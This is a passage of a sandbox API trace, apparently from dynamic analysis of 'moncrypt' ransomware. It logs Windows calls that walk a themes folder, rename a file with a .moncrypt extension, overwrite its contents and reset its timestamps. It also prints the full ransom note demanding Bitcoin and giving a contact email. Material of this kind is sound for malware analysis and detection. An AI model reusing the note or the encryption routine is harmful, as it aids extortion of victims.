lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpUsedDefaultChar=0x0) returned 77 [0050.754] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpUsedDefaultChar=0x0) returned 4 [0050.754] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.754] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.754] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.754] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.754] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.754] GlobalUnlock (hMem=0x44000c) returned 0 [0050.754] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.755] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.755] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.755] GlobalUnlock (hMem=0x44000c) returned 0 [0050.755] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.755] GlobalUnlock (hMem=0x440004) returned 0 [0050.755] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.755] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0050.755] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\BLUEPRNT\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0050.756] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.756] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.756] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.756] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.756] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.756] GlobalUnlock (hMem=0x440004) returned 0 [0050.756] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.756] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.756] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.756] GlobalUnlock (hMem=0x440004) returned 0 [0050.756] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.756] GlobalUnlock (hMem=0x44000c) returned 0 [0050.756] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.756] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.757] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0050.757] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.757] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.757] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.757] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.758] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.759] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.moncrypt")) returned 1 [0050.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.760] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.760] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x6b0f [0050.760] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.760] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.762] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.762] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.762] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.762] GlobalUnlock (hMem=0x440004) returned 0 [0050.762] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.762] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.762] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.762] GlobalUnlock (hMem=0x440004) returned 0 [0050.762] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.762] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.762] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.762] GlobalUnlock (hMem=0x44000c) returned 0 [0050.762] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.762] GlobalUnlock (hMem=0x440004) returned 0 [0050.762] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.762] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.762] GlobalUnlock (hMem=0x440004) returned 0 [0050.763] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.763] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.763] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.763] GlobalUnlock (hMem=0x440004) returned 0 [0050.763] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.763] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.763] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.763] SetFilePointer (in: hFile=0x18c, lDistanceToMove=27407, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x6b0f [0050.763] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.763] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.763] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.774] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.774] CloseHandle (hObject=0x18c) returned 1 [0050.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.775] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.775] CloseHandle (hObject=0x18c) returned 1 [0050.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.776] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.776] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.776] GlobalUnlock (hMem=0x440004) returned 0 [0050.776] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.776] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.776] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.776] GlobalUnlock (hMem=0x440004) returned 0 [0050.776] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.776] GlobalUnlock (hMem=0x44000c) returned 0 [0050.776] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7f99a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f7f99a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f7f99a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.776] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.777] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.777] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 